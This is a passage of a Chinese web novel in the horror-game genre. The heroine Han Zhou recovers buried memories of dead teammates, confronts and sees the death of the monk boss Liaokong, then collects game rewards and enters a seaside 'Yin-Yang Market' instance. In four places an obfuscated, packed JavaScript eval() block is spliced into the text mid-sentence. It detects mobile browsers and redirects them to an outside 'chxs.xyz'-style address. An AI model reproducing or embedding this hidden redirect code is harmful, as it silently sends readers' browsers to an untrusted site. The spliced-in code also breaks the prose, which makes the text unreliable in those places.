“…蓝溪？”韩舟喃喃出声。 前面有个穿着T恤的胖子回头，“蓝姐，别吓唬新人。”他对韩舟和蔼一笑，“小妹妹放心，这次的副本很简单，而且有蓝姐带队，通关轻轻松松，就当来度假了。” “老吴你可别贫了…”蓝溪猛拍了一下胖子的后背，“再简单的副本也不能掉以轻心，有多少老玩家都在低级副本栽了跟头，你忘了？” “没忘，知道。”老吴嘴里附和着，脸上却笑嘻嘻的，显然是没当回事。 韩舟看着眼前两人，心中涌出无限疑惑，他们为什么会出现在这？ 不对，是自己为什么会出现在这？ 刚才经历的一幕幕浮现在脑海中，她跑出“家门”后，长着母亲样子的怪物追了过来，她一边躲避怪物的攻击，一边冲进漆黑的楼道，黑暗中突然涌出数根触手，缠住了她的手脚… 她拼命挣扎，想从道具栏唤出板砖，系统却没有任何反应，那些触手越缠越紧，她整个人被黑暗吞噬了… 醒来后就出现在了这里，眼前的两人是上一周目游戏跟她组过队的玩家…她环顾四周，大巴车其他座位坐满了人。 “说正事。”蓝溪假装咳嗽了两声，“我们这次进入的怪谈副本叫做《诅咒动物园》…” 《诅咒动物园》…好熟悉的名字…对了，这是她上周目参与的第二个怪谈，当时她还是个小萌新。 “韩舟你是新人，一会儿别单独行动，随时听我指挥。”蓝溪叮嘱了她一句，又和别的玩家搭话去了，“在座的都不是第一次进副本了，先互相自我介绍一下吧…” “嗯…”韩舟看着蓝溪明媚的脸和一张一合不停说话的红唇，总觉得自己好像忘了一件很重要的事。 是什么呢？ 她觉得眼睛有点痒，使劲揉了揉。 大巴车又行驶了一会儿，缓缓停在目的地。众人下了车，这个地方背靠荒山，人烟罕至，往前走数十米是一道大铁门，门头上“A城动物园”几个大字已经被腐蚀，斑驳得快要脱落。 门边石壁上还有一排血字： 《诅咒动物园》怪谈玩家须知… 韩舟正准备往下看，身旁的蓝溪骤然开口了，她的语调隐隐带着丝兴奋：“小舟，你知道吗？怪谈里不是只有玩家要遵守规则…” 韩舟抬起头，见蓝溪没有看她，只是死死盯着前方的动物园。 “鬼怪也要遵守规则…只不过鬼怪要遵守的规则和玩家不同…”蓝溪继续说着，语速越来越快，“所以给玩家看的规则都会加上xx怪谈玩家须知…” 韩舟觉得这段话说不出的熟稔…她仔细回忆了下…想起来了，这番话是上一次她进入这个怪谈时蓝溪告诉她的。 现在是怎么回事，她又回到了过去…还是记忆重现？ “走吧。”蓝溪牵住韩舟的手往动物园里走去。 “我规则还没看…” “没事，我全记住了，一会儿告诉你。” 她的手怎么这么冰？韩舟忍不住就想缩回手，却被蓝溪紧紧捏住了手指：“小舟，在我身边才是最安全的。” “接下来我们去海洋馆。” 蓝溪是韩舟在新手关遇到的老玩家，在新手关帮了她不少忙，韩舟很信任她。 幽蓝的海水隔着一层玻璃幕墙包裹住她们，五彩斑斓的海洋生物在她们头顶游弋而过，蓝溪拉着韩舟往前走着，一刻不停歇。 “蓝姐…” 韩舟叫了一声，前方的蓝溪没有回应，她身侧玻璃幕墙中的水母逐渐聚拢成一团。 韩舟看着蓝溪的背影，心跳开始加速。 “你不是蓝溪吧？” 蓝溪终于停住不动了，过了一分钟，她转过头来，她的瞳仁乌黑，眼白很干净。 “小舟，你说什么呢？我不是蓝溪还能是谁？” 韩舟望向蓝溪身侧的玻璃幕墙，那团聚拢的水母忽然散开，露出里面掩盖的一样东西，那是一只白兔的尸体，红目圆睁，在蓝得发紫的海水中沉沉浮浮… 她将视线又放回蓝溪身上，蓝溪正一脸关切地看着她，仿佛还是那个热心肠照顾后辈的姐姐，可是韩舟知道，她不是真的。 人的大脑有时会主动遗忘一些痛苦或者可怕的记忆，以抚平经历过的创伤，让生活回归正轨。 就比如韩舟，此时才想起一件被她刻意忘记很久的事… 蓝溪，早就已经死了。 在上一周目游戏的《诅咒动物园》怪谈副本，除了她，所有玩家全军覆没，而自己因为运气好勉强活了下来。 韩舟咬了咬唇，一根根扒开蓝溪的手指，将自己的手抽出。 蓝溪冷冷看着她，眼中血丝涌现：“小舟这是做什么？我对你不好吗？” 韩舟没有搭理她，飞快转身想要离开，一回头才发现身后不知何时站了乌压压一片“人”，都是刚才大巴车上的“玩家”，他们把这个并不算大的海洋馆挤满了。 随着韩舟记忆的恢复，这些“人”的面孔也逐渐眼熟起来，他们都是在动物园怪谈副本里死去的玩家，此刻密密麻麻站在一块，血红的眼睛阴恻恻望着她。 韩舟倒退几步，撞上了身后的“蓝溪”，她的身体又冷又硬，就像一具死尸。韩舟还没来得及作出反应，一双冰凉的手就缠上了她的脖子：“小舟，留在这陪我吧，好不好？” 老吴从人群中缓缓走出，他双眼猩红，脸在海水的映衬下呈现淡淡的蓝色：“对啊小舟，留在这吧，我和蓝姐都会永远陪着你的…” 韩舟被身后的蓝溪勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629791|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得差点喘不过气来，她一边试图拽开蓝溪的手，一边拼命召唤跟死了一样的系统，眼看着老吴越走越近… 蓝姐和老吴都是很好很好的人，在新手关给了她很大的帮助，可是…她不想被永远留在这里… 系统的道具栏终于有了反应，板砖出现在她的右手掌心，化作了一把锋利的匕首。 “蓝姐，老吴，后会无期…”说完这话，她握紧手中匕首，捅向了自己的心脏。 …… 韩舟睁开眼，眼前是一片绿竹，她回到了慈恩法师的庭院，此刻正躺在了空的那张醉翁椅上。她坐直身子，觉得睫毛上水汽氤氲，便伸手擦去了那层水雾。 了空正坐在石桌前，怀抱白兔，拨弄着那局残棋上的棋子，头也不抬：“施主醒了？可有做什么美梦么？” …这个了空可真是个阴阳大师…韩舟撇了撇嘴：“美梦算不上，不过很有用…我大概猜到你这个所谓的极乐净土是什么地方了。” “哦？”了空听得此言，抬首看她，面带微笑，“施主说来听听？” “你说我在这个极乐净土杀不了你…这我认同，我当然杀不了你，谁能在梦境里杀死梦主呢？”韩舟慢悠悠站起身，“这里…是你的精神世界吧？” 散漫的寺院，只吃肉的斋堂，无处不在的兔子…这些都是了空内心的投射。 了空挑了挑眉梢，嘴角含笑：“施主果然聪慧…既然知道这点，你还打算杀贫僧吗？” “既然杀不掉你，我干嘛白费力气…不过把自己和其他人都困在这个虚假的梦境里，这就是你所谓的快乐吗？” “什么是真，什么又是假，世人真的分得清吗…”了空抚摸着怀中的白兔，笑容如三月春光，“更何况…我也给过他们选择真实的机会…” 韩舟心中冒出一个疑问：“你…很恨慈恩法师吗？” 了空面上的笑容慢慢褪去，他陷入了长久的沉默，整个院子安静得只有竹叶被风吹动簌簌的响声，就在韩舟以为他不会回答这个问题时，他缓缓吐出一句话： “我怎么会恨他…他是我此生最敬重的人。” 韩舟盯着了空的脸，他不笑的时候眉眼清寒，再无半点稚气，片刻后她收回视线：“我们等会在真正的兰古寺见吧。” 说完这话，她就一溜烟往庭院外跑去，边跑边用余光描了眼了空，只见他坐在石桌前动也不动，丝毫没有阻拦的意思。 韩舟狂奔出了庭院，外面浓雾已散去，远处佛殿清晰可见，有两个人正往这边走来，是白言和飞羽。 飞羽脸色苍白，像打了霜的茄子般精神不振，白言一手扶着他，一手持剑，看到韩舟后快步走到她面前：“韩姑娘，还好你没事…可有见到慈恩法师？” “我打不过他，先溜了，还是逃命要紧。”韩舟完全把先前立下的豪言壮语抛之脑后。 白言：… “你们跟我来，我知道回去的办法了。”韩舟向他们勾了勾手，随后向佛殿的方向跑去。白言默了默，拉着飞羽跟上。 27. 深山古寺（十五） 一路上他们既没碰到一个僧人，也没遇见一个兔脸人，整个寺院一片死寂，仿佛除了他们外没有任何活物。 佛殿很快进入韩舟的视野，它明明沐浴在温暖的阳光下，却似冰雕雪铸般散发丝丝寒意，殿前石阶上散落着一把香，不知是被谁随意丢弃在这。 韩舟弯腰拾起了那把香，大步走入佛殿，白言和飞羽跟在她身后，殿中空旷冷清，那尊金身佛像拈花微笑，垂眼看着他们，目光森冷异常。 韩舟手捧着香，走近佛像前的案台，她从那把香中取了不多不少正好三炷，悬于烛火上点燃，再插进香炉中。随后她看向白言和飞羽，示意他们也照着做。 白言没有动，漆黑的眼淡淡注视着她，飞羽本来就蔫蔫的，见自家公子没动作，便更像一根弯折的竹竿杵在那。 …真是两个难搞的npc…韩舟只好各取三炷香塞入他们手中：“信我，我们马上就可以回去了。” 白言握紧手中的香，还是静立未动，韩舟一直觉得他温和又好沟通，她说什么话，他也很少提出反对，这时才发觉，白言可能从未真正信任过她。 之前的言听计从只是层虚假的表象，更像是对危险之人的安抚防备。她无奈地按了下额头，直视他的双眼，用很真诚的语气说道：“放心，我不会害你们…如果我真的要害你们…你们还能活到现在？” 二人对视良久，直到韩舟的眼睛都有点发酸，白言才微微一笑，神色亲切柔和，仿佛刚才的冷淡模样并不存在。 “好。” 待白言和飞羽各将三炷香点燃插入香炉后，韩舟退后几步，紧盯着佛像，只见佛像的笑容隐去无踪，一滴清泪从它眼中流出，“啪”一声落在地面。 “小舟，你知道吗？怪谈里不是只有玩家要遵守规则，鬼怪也要遵守规则… “只不过鬼怪要遵守的规则和玩家不同，所以给玩家看的规则都会加上xx怪谈玩家须知…” 感谢蓝姐的提醒，她终于弄清飞羽为什么会被污染。 她最初来到兰古寺，山门上的规则开头是：“《深山古寺》怪谈玩家须知”，而在极乐净土，规则开头是：“兰古寺来客须知”。 兰古寺的规则是给玩家看的，极乐净土的规则是已被同化的怪物才要遵守，若是普通人，越遵守规则就愈加趋向鬼怪，游戏在这给她挖了个大坑。 她也是因为精神值超高，才扛住了没有被污染，想要回到真正的兰古寺，就必须要违反“极乐净土”的规则。 眼前的金身佛像庄严肃穆，目露慈悲，在香烟缭绕中显得有些迷蒙不清。韩舟知道，他们已经回到原来的寺院。奇怪的是，原来在佛像附近诵经的蓝衫僧人此刻不在殿内。 “我们回到兰古寺了。”韩舟看向白言和飞羽，“不信你们出去看看。” 飞羽先是呆滞了一瞬，随即跟打了鸡血似的一阵风窜出殿外，不到半刻，便传来他满是欣喜的声音。 “公子，我们真的回来了！外面都是蓝衣僧人还有香客！” 韩舟衡量了下他的音量，心想这应该不算喧哗吧…不过无所谓，就算他再违反规则也不会被拉回“极乐净土”了，因为她即将终结这个怪谈。 想到这，她看向白言：“你不出去看看么？” “韩姑娘呢？”白言的声音轻柔，好像真的在关心她。 “我在这再上会儿香。”韩舟语气很随意，“你们先出去吧。” 白言敛眸：“那在下先告辞了。”语罢便干脆地转身离去。 等白言背影消失在殿门外，韩舟呼出一口气，她还挺怕他又跟她抬杠不愿意走的… 她在殿内转了一圈，片刻后抬头望向佛像，开始自言自语：“不知道这佛像够不够坚硬，一板砖拍上去能砸碎吗…” “施主的胆子真大，居然想砸碎佛像，不怕得罪佛祖，降罪于你吗？”了空凭空出现在佛殿角落里，他身着一件满是破旧补丁的靛蓝色袈裟，嘴里虽在说着威胁的话，眉毛却弯弯的，眼中光辉流转。 “我开个玩笑而已…”韩舟扬起嘴角，“了空小师父，我们又见面了。” “施主当真执着…”了空无奈地叹了口气，“看来不把这真相告知你，你是不肯善罢甘休了。” “你知道就好。”韩舟脸上洋溢着甜美的笑容，“来吧，告诉我，你真正的愿望是什么？” 了空将衣摆一撩，原地盘腿坐了下来：“两年前，师父曾下山为村民治病，施主去过佛塔，之后的事应都已知晓。” “嗯，我知道。”韩舟点头，看来石函上记录的有关慈恩法师生平都是真事？他真的是个舍己为人的大好人。 “他圆寂前留了一封信给我，信中说…”了空顿了顿，语气有些沉重，“灾祸即将降临人间。” 灾祸…是指怪谈吗？ “师父他在信中并没说得很详细，只是嘱咐我要小心，若是遇到逢难的百姓尽量帮上一帮。” “在这之后，果如师父所说，妖邪现世，横行各地…只有这兰古寺暂时没受侵扰。”了空说到这，面色十分凝重，他攥紧了衣角，“所以，我的愿望是…完成师父的遗愿，替他守护好兰古寺，还有这些来寺里寻求庇佑的人” 韩舟难以置信地瞪大眼睛：“…什么？你管这叫守护？” “怎么不算守护？”了空难得蹙了下眉，“他们在寺外随时会被邪祟侵扰，只有在这兰古寺才安全。” “在这寺内就不算被邪祟侵扰吗？”韩舟心中五味杂陈，犹豫了下还是问出了口，“你以为你是什么？” “我是什么…”了空脑袋里传来针扎般的刺痛，他摇晃了下头，“这不重要…我给过他们选择，只要他们够安分，遵守这寺院的规矩，就能一直安稳活下去。” 韩舟反应过来，他说的是兰古寺的那些"规则”。 “就算有一次违背也无妨，我还给过他们第二次机会…甚至都违背了，他们也可以进入我创造的乐土，在那里无拘无束，不用守任何规矩…” 的确，无论是白衣女子还是沈蟠，他们都是两次违反了规则，才被拉入那“极乐净土”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655711|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩舟叹了口气，这小和尚初衷是好的，只可惜这个充满善意的愿望被怪谈给扭曲了，他的意识也被污染了，直到现在也没觉得自己有什么不对。 那话怎么说来着？不怕反派坏，就怕反派自成逻辑，你甚至无法指出他的逻辑错误。 “还有，你如果不是因为吃兔肉被罚，才怀恨在心，又为什么老跟兔子过不去？”天知道韩舟被搞得以后看到小白兔都要有阴影了。 了空静默片刻，站起身向韩舟走来，对她伸出手，韩舟第一反应是躲开，想了想又停住不动。 了空离得很近，她闻到他身上有股草叶的清香，这味道她在佛塔中假白言身上也闻到过，现在想想他应是了空幻化而成。 了空冰凉的手指触碰到韩舟的眉心，她眼前一黑，待得见光明，发现自己站在一间禅房内，幼时的了空跪坐在门前一动也不动。 哦，这是上次了空给她看的回忆后续？韩舟又找了一个蒲团坐下，准备好好看看接下来会发生什么。 了空的肚子还在咕咕直叫，他的脸上还带着泪痕，韩舟都有点看不下去了，这慈恩法师，体罚也得有个限度，别把孩子给饿出病来。 就在这时，门外映出了一道黑影，“吱啦”一声木门被推开，明亮的月光照进禅房内，将房内阴霾驱散，慈恩法师站在门口，身着靛蓝色袈裟，脖子上挂着佛珠，手里端着一个青瓷盘子。 “师父！弟子知道错了！师父原谅弟子吧！弟子再也不敢吃肉了！”了空急急地扑了过去，拽住慈恩法师的衣袖赌咒发誓。 “我知道…好孩子，饿坏了吧，来，吃吧。”慈恩法师慈爱地抚摸着了空的头，将手中的盘子递给他。 了空愣了愣，接过盘子“谢谢师父…”他看了看盘里的东西，“这是…月团？” “今日是中秋，原不该在这天罚你…”慈恩法师眼里似有疼惜之色，“只是佛门慈悲，杀生乃大戒，若不罚你，只怕你难以记得这教训…” “弟子明白…”了空低下了头，“弟子知错…” 慈恩法师欣慰地点了点头：“知错就好，快吃吧。”说罢轻轻拍了拍了空的背。 了空捏起一块月团放入口中，“真甜。”他又捏了一块递到慈恩法师嘴边，“师父，你也吃。” “好，好…”慈恩法师笑着一口咬过了空手中的月团。 门外一轮皓月当空，整个寺院浸润在这温柔的月色中。 韩舟明白了，这个兔子，是了空的愧疚和心魔，而这份愧疚在了空意识被污染后被扭曲成诡异的存在。 怪谈里的boss并不都是至恶，这在上一轮的游戏韩舟也遇到过类似的，只不过上一轮的韩舟并不需要杀boss，她只需要解开谜题通关。 那这次呢？她也一定要杀掉了空才能通关吗？ 了空的手指离开韩舟的眉心，韩舟睁开眼睛，瞧着了空一团稚气的脸，内心开始天人交战。 “施主。”了空缓缓开口，“我给你个选择，你可以离开兰古寺，但是，只有你一个人能离开。” 28. 深山古寺（完） “你可以离开兰古寺，但是，只有你一个人能离开。” 听到了空的许诺，韩舟有些惊讶，这个离开的意思是…通关吗？ “没错，尊贵的玩家。”突如其来的机械音把韩舟吓了一跳，系统怎么上线了？它从来不会在怪谈副本中跟她对话，因为这相当于帮玩家作弊了。 “他的意思就是让你一人通关，但npc们的死活你就不能管了。”系统说到“npc们的死活”几个字时加重了语气，不过被韩舟忽略了，她正处于“怪谈boss居然给她开后门”的震惊中… 不用再累死累活找线索，也不用拼死拼活打boss了，直接通关！韩舟以前从没遇上过这种好事…这次的游戏是怎么回事，还能这样？她还想多问上几句，谁知系统解释完又匆匆下线了。 “施主，你跟其他人不一样，你从异世而来，不用长久受这灾祸之苦。”了空此刻的神色竟和那金身佛像一样悲悯，“但他们不同，即使离开兰古寺也逃不开被邪祟侵蚀，不如永远留在这…” “我可以庇护他们。”了空似乎并不是对自己身上的异化完全无知无觉，“至少…不会比在外面更痛苦…” 韩舟陷入沉思，说到底，npc都只是游戏的一部分，即使再像真人也不是人…她救他们也只是为了游戏币奖励… 但当王铁柱和王田儿的脸划过她的脑海，她又有些迟疑，“不对。”她摇了摇头，自己之前只是玩游戏太沉浸了，错把他们当真人，他们毕竟不是玩家，她也不需要为他们的生死负责。 据了空所说，这些npc在外面一样会进入怪谈，了空这个boss至少对他们没有太大恶意，规则也比较宽松，不如就让他们留在这里… 还有…她瞧着了空一团孩子气的脸，杀佛门中人，年纪还那么小，她还怪下不去手的，实在太罪过了…而且对方的实力她在“极乐净土”见过，能拉人进入噩梦，杀他并不是那么容易… 所以自己为什么还要犹豫！ “好，就这么说定了。”韩舟干脆道，“你让我离开，我不再管这里的事。” 了空笑了，琥珀般的眼睛熠熠闪烁：“此乃明智之举，施主请跟我来。”说罢他往佛殿门口走去，走了几步后感觉到韩舟没有跟上，又停下来，转过头疑惑地看向她。 韩舟站在原地，她的脚好像被冰冻住了，迈不开步子，但她心里明白，不是自己脚动不了，而是自己潜意识不想动，为什么会这样？这明明是多么两全其美的方法啊！有什么不愿意的… “施主？”了空的声音有些冷，“你不会反悔了吧？” 韩舟挣扎着向前走了一步，眼前忽然浮现出张姐在房里为她铺被褥的画面，还有… “白言？”韩舟瞳孔紧缩。 白言的身影出现在了空身后，银色剑光一闪，他手中的那柄长剑穿过了空的胸膛，随后他松开剑柄，了空的身体委顿在地，刺穿他的长剑燃烧起来，连同他的身体一起被包裹进火焰中。 了空跪坐在地上，那双清亮的眼看向韩舟，身上烈火熊熊燃烧，面上却并无痛苦之色：“施主，我死了，极乐净土里那些…被邪祟侵蚀的人能变回原样吗？” 韩舟心脏猛地跳了一下，原来他知道…他知道自己已经被污染…也许他只是知道了却无力改变… 至于他问的问题…已经被怪谈同化的怪物，即使消灭了怪谈源头，它们也无法变回人类，只会跟着怪谈一起消亡… 但是…韩舟看着了空那满是期待的眼神，郑重地点了点头，“他们都会变回人，就像从前一样，寺院里其他人也会安然无恙。” 了空展颜笑了，笑容一如韩舟初见他之时。 “如此…贫僧就放心了…”了空的身体在火光中逐渐化为烟雾，一阵风吹进殿中，这缕烟雾随之消散。 这一切都结束了…韩舟心中怅然若失，她揉了揉眼睛，感觉擦过眼睛的手背上有些湿，她抬起头，发现白言正面若冰霜地看着她。 “…你来了有多久了？”韩舟警惕地看向白言，她和了空的对话不会全被他听去了吧！ 白言轻轻笑了，眼里却并无笑意，冷的像深秋的潭水：“不早不晚，就在你们说真相的时候。” …这不就是全听去了吗…那他应该也听到那句“你让我离开，我不再管这里的事。”难怪脸色这么难看… 不对，自己紧张个什么…他听了就听了呗…能拿自己怎么办，“嗯，既然你都听到了，我也不用再多解释了…”韩舟假装没看见他那副冰冷模样，随意扯了几句，“邪祟已经被你清除，兰古寺的人都安全了…这里没我事了，我先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673315|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。”说罢就飞快往门外走去，路过白言身侧的时候，被他伸手拦住了。 “韩姑娘…”白言缓缓开口，“你究竟是什么人？” “我不是说过吗，我是方士。”韩舟有些无语，这npc好烦。 “是么？方才那个邪祟说你是异世之人…” “…是又怎么样。”韩舟撇了撇嘴，身为玩家，和你们这些原住民本来就不是一个世界的啊。 “…”白言沉默了一瞬，他漆黑的眼里涌动着韩舟看不懂的情绪，“那你可知…这些邪祟究竟从何而来？还有…” 他目光灼灼看向韩舟：“可有彻底根除之法？” 啊？韩舟愣了，他问她，她怎么会知道！她玩了怪谈游戏这么久，也不知道怪谈是从哪里来的，而且一个npc问出这话，就像在质疑游戏创造者为什么要创造出他…至于根除之法…对她这个玩家来说，就是通关所有副本，对他们npc来说…大概是要杀掉所有怪谈boss？ 她瞥了白言一眼，从刚才起他的态度就不怎么好，她凭什么告诉他。 “我不知道。”韩舟对着白言露出一个甜笑，“这些都跟我无关。”说罢她使劲推开白言的手，向殿外跑去。 “韩姑娘！”白言追了出去，却见韩舟的身影却隐没在一道白光中，转瞬消失无踪。 白言站在佛殿前，攥紧了手。 … “恭喜玩家韩舟，通关怪谈《深山古寺》。”熟悉的机械音又在韩舟耳边响起，她发现自己已经回到黑猫客栈的大门前，四周环绕着参天古木。 “这次居然直接回休息站了，挺好。”韩舟长长呼出一口气，奇怪了，她明明没有打boss，却觉得身体好疲惫。 “玩家是否要阅读《深山古寺》的背景介绍？” 韩舟选了“否”，以后这些怪谈的背景介绍她通通都不想看了…看了添堵。 “现在开始结算奖励… “通关奖励：游戏币2000枚，由于玩家拯救了多名土著npc，额外奖励游戏币10000枚。” “天呢，发财了！”韩舟喜出望外，有这么一大笔钱，她马上就可以住进上等客房了！至于剩余的怎么用可得好好规划一下。 “顺便恭喜玩家，已解锁世界大地图。” 29. 世界大地图 秋高气爽，碧空如洗。 韩舟坐在一间食肆里，嘴里嚼着冰糖小元子，遥望街上的景象。这里不像她当初刚进副本时那么冷清了，青石板路上熙熙攘攘，茶馆酒肆杂货铺里人头攒动，吆喝叫卖声鼎沸不绝。 食肆店主正是她上次遇到的那位，他一改之前的颓废样，面带得意之色走到韩舟面前，“我就说吧，兰古寺根本供不起那么多人，这不，人都被赶出来了。” 韩舟笑了笑，没说话。 店主继续唠叨：“听说兰古寺的住持圆寂了…唉，那个住持可是个好人啊，平常没少接济穷人…” “不过大辰天子不崇佛，咱们普通百姓自然也没多少信这个，那兰古寺平常香火并不旺盛，出了邪祟之事倒是一个个去求庇护了…” “都说当朝国师能长生，通鬼神，还不是没法解决这邪祟之事…我看啊，是徒有虚名。” 旁边一人插嘴道：“店家你胆子真大，敢妄议国师大人。” “啊…就当我没说过…” 店主的吵嚷声不时钻进韩舟耳朵，但她对说了什么倒没多在意，她随意打量四周，蓦地瞥见街上有个熟悉的人影。 “张姐！”韩舟激动地叫出声。 张姐拉着个小毛驴正慢吞吞走着，见到韩舟眼睛一亮，快步走了过来。 “我说妹子你怎么不见了，还担心你呢，原来早就离开兰古寺了，怎么不跟我说一声？” “啊…”韩舟打了个哈哈，“对不住…我家里有点急事所以先走了，走得匆忙忘了跟你说了。” 她拉着张姐坐下，对店主说：“店家，再来一碗小元子！”随后笑呵呵转向张姐，“这碗小元子就算我给你赔罪了。” “没事，这算什么…妹子你是不知道，幸好你离开的早…”张姐拍了拍韩舟的肩膀，“现在寺里乱成一锅粥，好多人不明不白消失了，听说是因为高僧突然患病去世，给了邪祟可趁之机，兰古寺也不安全了，我们这才下山回家了…” 其实现在那里很安全…韩舟正想着要不要劝张姐回去，又听张姐摇头叹气：“这日子什么时候才是个头哦…我没跟你说过吧，我有个弟弟，那小子本来一心读书考功名，两年前不是各地开始闹鬼吗，他就嚷嚷着要学驱鬼之术，后来跟着一个方士离家出走了…” “对了，我那个弟弟叫张生…你以后遇见帮我留意下…” ？韩舟手中的勺子顿住了，张生？和血色嫁衣那个副本的张生是一个人吗？居然有这么巧的事。 不过就算是一个人也没什么奇怪，因为都在一个世界观下… 她的记忆回到了昨天。 “恭喜玩家，已解锁世界大地图。” 空中出现一道电子光墙，一张大地图在她面前徐徐展开，上面大部分区域都是灰色的，只有几小块用彩色标注。 “彩色的部分都是你通关的怪谈，灰色部分都是你还没通关的…”系统开始解释。 “灰色部分怎么那么多？”韩舟有些不满，这说明她还有好多副本要过。 “咳咳…”系统机智地迅速转移话题，“彩色部分你可以随时进入，现在这些地方都属于非怪谈地带。” 搞半天所谓的“解锁世界大地图”，只是可以返回她通关过的怪谈…她还以为有很多新鲜地方可以去，这游戏可真小气… 韩舟想着反正三天假期也没其他的事，就来兰古寺附近的城镇瞧瞧，她没直接回兰古寺，因为怕撞上白言，这个npc烦的要死，万一遇上了，到时他又要拉着她问东问西…还好在这里见到了张姐，能确认她安然无恙。 韩舟和张姐聊了一会儿就告辞了，她返回黑猫客栈，如今的她已经是个“小财主”，手握不少游戏币，可以名正言顺住进三楼的上等客房。 也是等住进去才知道，它为什么被称为上等客房。 韩舟走进房间的一瞬间，还以为自己回家了，客厅里的陈设都是那么熟悉，阳光透过纱窗照进客厅，把整个屋子照得亮堂堂的，向窗外望去，依旧是一片郁郁葱葱的山林。 据黑猫掌柜所说，上等客房能按照她的心意变成她想要的房间，看来她心底最想要的就是自己的家了。 她走进卧室，天花板上挂着熟悉的玻璃吊灯，书桌上摆着从小到大积攒的玩偶，她先在玩偶里翻找了一圈，确认里面没有兔子玩偶后，松了口气，都怪《深山古寺》副本，梦到回家差点给她留下阴影。 桌旁是一个巨大的书橱，书橱里大多是历史神话一类的书籍，不过因为高中学业繁忙，她很久不看了，现在得空，正好用来打发时间。 她随手抽出了其中一本，蓝色的封皮上写着《山海经》。这本是她小时候母亲给她买的，她只翻过一次，后来就搁置了。 她躺在床上随意翻阅起来，几个小时后，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726285|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在上面发现了一个熟悉的名字： “寓” 韩舟惊地坐起了身。 《山海经》里写着：“其鸟多寓，状如鼠而鸟翼，其音如羊，可以御兵。” 不是吧，这么巧… “咚咚咚”敲门声响起。 韩舟跑去开门，可真是说曹操，曹操就到，寓抱着一个食盒站在门口。 “韩舟，这是你的晚饭。” 韩舟接过食盒，仔细打量起寓来，它肥硕的身体长满又细又密的毛，看着分明就是一只巨型老鼠，但变小的时候会生出一双翅膀… 她就说“寓”这个名字怎么这么耳熟呢！这个休息站的npc都是按照山海经里捏的？那黑猫掌柜呢，又是哪个神兽？山海经里像猫咪的异兽还挺多的… 说到黑猫掌柜，韩舟自从回客栈后就没见过它，她问道：“小寓，黑猫掌柜还没回来吗？” “没有…掌柜的最近很忙。” 这黑猫掌柜一天天的到底在忙什么呢…韩舟真有点好奇了，于是又问：“掌柜的到底去哪儿了？” 寓欲言又止，灰色的耳朵不断抖动着，看它憋半天也憋不出一句话，韩舟最终还是放过了它。 “没事，你忙你的去吧…” 寓离去了，韩舟回屋将食盒放到桌上，一边吃一边点开了商城，接下来又是愉快的购物时间。 她照例购买了伤药和污染试纸，如今她手上除了a级道具，还有了空给的b级道具：一串佛珠，将佛珠挂在脖子上可以抵御一次b级怪谈boss的攻击，这可是个好东西啊…要是所有的怪谈boss都能像了空这么大方就好了… 三天假期一过，韩舟又得进副本了，不等系统通知，她自觉走到客栈门口，熟悉的机械音在耳边准时响起：“尊贵的玩家，你即将进入的下一个怪谈是《阴阳集市》，难度为b级。” 韩舟踏出客栈门，一股带着腥味的凉风迎面扑来，裹挟着水汽，将她的面庞润湿。 她的面前是一望无际的大海，海浪拍打着岸边的沙粒，溅起朵朵银花，碧穹上有海鸟翱翔而过。 她低头向自己身上望去，胭脂色的襦裙变成一席黑色长袍，口袋里鼓鼓囊囊的，似乎是揣了什么东西。 她伸手在口袋里摸了摸，抓出一团白花花的东西出来，这东西因为沾染了湿气，手感黏糊糊的。 那是一把纸钱。 30. 阴阳集市（一） 韩舟手微微哆嗦了下，凝视那团黏在一起的纸钱良久，最终把它揣回口袋。 游戏不会给无用的东西，这纸钱肯定有它存在的道理，最好还是留着，以备不时之需。 因为有了深山古寺怪谈的经验，她也不再疑惑集市去哪了，估计等会儿就会有npc来提示，她望了一眼碧蓝的大海，缓缓向海岸边走去。 海面在阳光的照耀下波光粼粼，金色的沙滩上撒着五彩的贝壳，海风轻拂，韩舟一瞬间还以为自己是来旅游度假的。 